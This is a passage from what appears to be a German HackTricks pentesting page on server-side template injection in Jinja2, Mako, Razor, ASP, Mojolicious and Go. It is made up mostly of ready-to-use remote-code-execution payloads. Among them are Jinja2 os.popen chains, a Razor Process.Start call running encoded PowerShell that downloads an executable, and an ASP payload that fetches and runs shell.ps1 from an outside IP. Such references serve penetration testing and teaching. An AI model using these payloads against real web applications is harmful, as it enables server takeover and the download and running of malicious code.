{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE nicht abhängig von __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Weitere Details zur Ausnutzung von Jinja:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Andere Payloads unter https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Weitere Informationen

Razor (.Net)

  • @(2+2) <= Erfolg
  • @() <= Erfolg
  • @("{{code}}") <= Erfolg
  • @ <= Erfolg
  • @{} <= FEHLER!
  • @{ <= FEHLER!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Die .NET-Methode System.Diagnostics.Process.Start kann verwendet werden, um jeden Prozess auf dem Server zu starten und somit eine Webshell zu erstellen. Ein anfälliges Beispiel für eine Webanwendung finden Sie unter https://github.com/cnotin/RazorVulnerableApp

Weitere Informationen

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nichts
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Weitere Informationen

Mojolicious (Perl)

Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Fehler
<%= perl code %>
<% perl code %>

SSTI in GO

In der Go-Template-Engine kann die Bestätigung ihrer Verwendung mit spezifischen Payloads erfolgen:

  • {{ . }}: Zeigt die Datenstruktur-Eingabe an. Wenn beispielsweise ein Objekt mit einem Password-Attribut übergeben wird, könnte {{ .Password }} es offenlegen.
  • {{printf "%s" "ssti" }}: Sollte den String "ssti" anzeigen.
  • {{html "ssti"}}, {{js "ssti"}}: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Anweisungen können in der Go-Dokumentation hier erkundet werden.

XSS-Ausnutzung

Mit dem Paket text/template kann XSS einfach durch direktes Einfügen des Payloads erfolgen. Im Gegensatz dazu kodiert das Paket html/template die Antwort, um dies zu verhindern (z.B. führt {{"<script>alert(1)</script>"}} zu &lt;script&gt;alert(1)&lt;/script&gt;). Nichtsdestotrotz können die Template-Definition und -Aufruf in Go diese Kodierung umgehen: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

RCE-Ausnutzung

Die RCE-Ausnutzung unterscheidet sich erheblich zwischen html/template und text/template. Das Modul text/template erlaubt den direkten Aufruf beliebiger öffentlicher Funktionen (unter Verwendung des Werts "call"), was in html/template nicht erlaubt ist. Die Dokumentation für diese Module ist verfügbar hier für html/template und hier für text/template.

Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn beispielsweise das bereitgestellte Objekt eine System-Methode hat, die Befehle ausführt, kann sie wie folgt ausgenutzt werden: {{ .System "ls" }}. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Weitere Informationen

Weitere Exploits

Überprüfen Sie den Rest von https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection für weitere Exploits. Sie können auch interessante Tags-Informationen unter https://github.com/DiogoMRSilva/websitesVulnerableToSSTI finden.

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

Verwandte Hilfe

Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:

Tools

Brute-Force-Erkennungsliste

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Übung & Referenzen

RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.

{% embed url="https://www.rootedcon.com/" %}

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: